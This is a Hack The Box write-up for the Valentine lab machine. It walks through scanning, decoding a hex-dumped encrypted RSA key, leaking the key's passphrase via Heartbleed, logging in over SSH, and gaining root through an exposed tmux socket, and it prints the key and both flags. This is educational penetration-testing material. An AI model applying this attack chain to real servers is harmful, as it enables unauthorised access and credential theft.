Writeup: Hack The Box - Machines - Valentine

Description

  • Name: Valentine
  • IP: 10.10.10.79
  • Author: mrb3n
  • Difficulty: 4.1/10

Discovery

nmap -sV -sC -Pn -p 1-65535 -T5 10.10.10.79

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22/tcp  open  ssh      OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 96:4c:51:42:3c:ba:22:49:20:4d:3e:ec:90:cc:fd:0e (DSA)
| 2048 46:bf:1f:cc:92:4f:1d:a0:42:b3:d2:16:a8:58:31:33 (RSA)
|_ 256 e6:2b:25:19:cb:7e:54:cb:0a:b9:ac:16:98:c6:7d:a9 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US
| Not valid before: 2018-02-06T00:45:25
|_Not valid after: 2019-02-06T00:45:25
|_ssl-date: 2018-06-24T21:38:25+00:00; 0s from scanner time.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Using dirsearch we found a /dev/ directory with two files:

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2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 52 49 56 41 54 45 20 4b 45 59 2d 2d 2d 2d 2d 0d 0a 50 72 6f 63 2d 54 79 70 65 3a 20 34 2c 45 4e 43 52 59 50 54 45 44 0d 0a 44 45 4b 2d 49 6e 66 6f 3a 20 41 45 53 2d 31 32 38 2d 43 42 43 2c 41 45 42 38 38 43 31 34 30 46 36 39 42 46 32 30 37 34 37 38 38 44 45 32 34 41 45 34 38 44 34 36 0d 0a 0d 0a 44 62 50 72 4f 37 38 6b 65 67 4e 75 6b 31 44 41 71 6c 41 4e 35 6a 62 6a 58 76 30 50 50 73 6f 67 33 6a 64 62 4d 46 53 38 69 45 39 70 33 55 4f 4c 30 6c 46 30 78 66 37 50 7a 6d 72 6b 44 61 38 52 0d 0a 35 79 2f 62 34 36 2b 39 6e 45 70 43 4d 66 54 50 68 4e 75 4a 52 63 57 32 55 32 67 4a 63 4f 46 48 2b 39 52 4a 44 42 43 35 55 4a 4d 55 53 31 2f 67 6a 42 2f 37 2f 4d 79 30 30 4d 77 78 2b 61 49 36 0d 0a 30 45 49 30 53 62 4f 59 55 41 56 31 57 34 45 56 37 6d 39 36 51 73 5a 6a 72 77 4a 76 6e 6a 56 61 66 6d 36 56 73 4b 61 54 50 42 48 70 75 67 63 41 53 76 4d 71 7a 37 36 57 36 61 62 52 5a 65 58 69 0d 0a 45 62 77 36 36 68 6a 46 6d 41 75 34 41 7a 71 63 4d 2f 6b 69 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4b 45 6f 35 6e 52 52 66 4b 2f 69 61 4c 33 58 31 52 33 44 78 56 38 65 53 59 46 4b 46 4c 36 70 71 70 75 58 0d 0a 63 59 35 59 5a 4a 47 41 70 2b 4a 78 73 6e 49 51 39 43 46 79 78 49 74 39 32 66 72 58 7a 6e 73 6a 68 6c 59 61 38 73 76 62 56 4e 4e 66 6b 2f 39 66 79 58 36 6f 70 32 34 72 4c 32 44 79 45 53 70 59 0d 0a 70 6e 73 75 6b 42 43 46 42 6b 5a 48 57 4e 4e 79 65 4e 37 62 35 47 68 54 56 43 6f 64 48 68 7a 48 56 46 65 68 54 75 42 72 70 2b 56 75 50 71 61 71 44 76 4d 43 56 65 31 44 5a 43 62 34 4d 6a 41 6a 0d 0a 4d 73 6c 66 2b 39 78 4b 2b 54 58 45 4c 33 69 63 6d 49 4f 42 52 64 50 79 77 36 65 2f 4a 6c 51 6c 56 52 6c 6d 53 68 46 70 49 38 65 62 2f 38 56 73 54 79 4a 53 65 2b 62 38 35 33 7a 75 56 32 71 4c 0d 0a 73 75 4c 61 42 4d 78 59 4b 6d 33 2b 7a 45 44 49 44 76 65 4b 50 4e 61 61 57 5a 67 45 63 71 78 79 6c 43 43 2f 77 55 79 55 58 6c 4d 4a 35 30 4e 77 36 4a 4e 56 4d 4d 38 4c 65 43 69 69 33 4f 45 57 0d 0a 6c 30 6c 6e 39 4c 31 62 2f 4e 58 70 48 6a 47 61 38 57 48 48 54 6a 6f 49 69 6c 42 35 71 4e 55 79 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To do:

1) Coffee.
2) Research.
3) Fix decoder/encoder before going live.
4) Make sure encoding/decoding is only done client-side.
5) Don't use the decoder/encoder until any of this is done.
6) Find a better way to take notes.

Pwn

The pattern of the hex file (2d 2d 2d 2d 2d) is the one used as header in a public key file: http://fileformats.archiveteam.org/wiki/PGP_public_key.

Using a python2 one-liner we got the private key file open("hype_key").read().strip().replace(" ", "").decode("hex")

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-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,AEB88C140F69BF2074788DE24AE48D46

DbPrO78kegNuk1DAqlAN5jbjXv0PPsog3jdbMFS8iE9p3UOL0lF0xf7PzmrkDa8R
5y/b46+9nEpCMfTPhNuJRcW2U2gJcOFH+9RJDBC5UJMUS1/gjB/7/My00Mwx+aI6
0EI0SbOYUAV1W4EV7m96QsZjrwJvnjVafm6VsKaTPBHpugcASvMqz76W6abRZeXi
Ebw66hjFmAu4AzqcM/kigNRFPYuNiXrXs1w/deLCqCJ+Ea1T8zlas6fcmhM8A+8P
OXBKNe6l17hKaT6wFnp5eXOaUIHvHnvO6ScHVWRrZ70fcpcpimL1w13Tgdd2AiGd
pHLJpYUII5PuO6x+LS8n1r/GWMqSOEimNRD1j/59/4u3ROrTCKeo9DsTRqs2k1SH
QdWwFwaXbYyT1uxAMSl5Hq9OD5HJ8G0R6JI5RvCNUQjwx0FITjjMjnLIpxjvfq+E
p0gD0UcylKm6rCZqacwnSddHW8W3LxJmCxdxW5lt5dPjAkBYRUnl91ESCiD4Z+uC
Ol6jLFD2kaOLfuyee0fYCb7GTqOe7EmMB3fGIwSdW8OC8NWTkwpjc0ELblUa6ulO
t9grSosRTCsZd14OPts4bLspKxMMOsgnKloXvnlPOSwSpWy9Wp6y8XX8+F40rxl5
XqhDUBhyk1C3YPOiDuPOnMXaIpe1dgb0NdD1M9ZQSNULw1DHCGPP4JSSxX7BWdDK
aAnWJvFglA4oFBBVA8uAPMfV2XFQnjwUT5bPLC65tFstoRtTZ1uSruai27kxTnLQ
+wQ87lMadds1GQNeGsKSf8R/rsRKeeKcilDePCjeaLqtqxnhNoFtg0Mxt6r2gb1E
AloQ6jg5Tbj5J7quYXZPylBljNp9GVpinPc3KpHttvgbptfiWEEsZYn5yZPhUr9Q
r08pkOxArXE2dj7eX+bq65635OJ6TqHbAlTQ1Rs9PulrS7K4SLX7nY89/RZ5oSQe
2VWRyTZ1FfngJSsv9+Mfvz341lbzOIWmk7WfEcWcHc16n9V0IbSNALnjThvEcPky
e1BsfSbsf9FguUZkgHAnnfRKkGVG1OVyuwc/LVjmbhZzKwLhaZRNd8HEM86fNojP
09nVjTaYtWUXk0Si1W02wbu1NzL+1Tg9IpNyISFCFYjSqiyG+WU7IwK3YU5kp3CC
dYScz63Q2pQafxfSbuv4CMnNpdirVKEo5nRRfK/iaL3X1R3DxV8eSYFKFL6pqpuX
cY5YZJGAp+JxsnIQ9CFyxIt92frXznsjhlYa8svbVNNfk/9fyX6op24rL2DyESpY
pnsukBCFBkZHWNNyeN7b5GhTVCodHhzHVFehTuBrp+VuPqaqDvMCVe1DZCb4MjAj
Mslf+9xK+TXEL3icmIOBRdPyw6e/JlQlVRlmShFpI8eb/8VsTyJSe+b853zuV2qL
suLaBMxYKm3+zEDIDveKPNaaWZgEcqxylCC/wUyUXlMJ50Nw6JNVMM8LeCii3OEW
l0ln9L1b/NXpHjGa8WHHTjoIilB5qNUyywSeTBF2awRlXH9BrkZG4Fc4gdmW/IzT
RUgZkbMQZNIIfzj1QuilRVBm/F76Y/YMrmnM9k/1xSGIskwCUQ+95CGHJE8MkhD3
-----END RSA PRIVATE KEY-----

The private key, though, had a passphrase to unlock it and it’s not possible to use to SSH into the machine.

From the note.txt file we discovered another two pages: /encode and /decode but using some fuzzy strings to execute shell and PHP commands we didn’t found anything.

Back to the enumeration we see that a HTTPS port is open with an old Apache running so we tried using the Heartbleed bug to dump parts of memory of the server. On the leaked informations we can see:

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......[1e..O......._...,..[".W.^Am......f.....".!.9.8.........5.............................3.2.....E.D...../...A.......................................
Nikto/2.1.6) (Evasions:None) (Test:005776)..Connection: Keep-Alive...........(....lOi......C6F.lc.F......o..r.n/x-www-form-urlencoded..Content-Length: 42
....$text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==+wv-rD..*....;....Q .............Alive.....L...J[X...$..z..................................................
...............................................................................

Where $text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg is heartbleedbelievethehype and is the passphrase for the private key; we can new generate the new unlocked private key: openssl rsa -in priv.key -out priv\_free.key.

Using the private key to SSH into the server with valentine as user we was prompted for a password (which is not the one found above): we need to dig further to find the password or we need the correct username to login.

After some guessing on the username using informations from passphrase, machine name, web application we got a shell for the hype user and the first flag.

Checking on /etc/passwd we saw no other users to privesc except root.

But even before trying to search exploits and enumeration we checked on .bash_history just to see a tmux socket saved in /.devs/dev_sess.

Attaching to that socket with tmux -S /.devs/dev_sess we got a root shell and the flag.

Flags

user: e6710a5464769fd5fcd216e076961750

root: f1bb6d759df1f272914ebbc9ed7765b2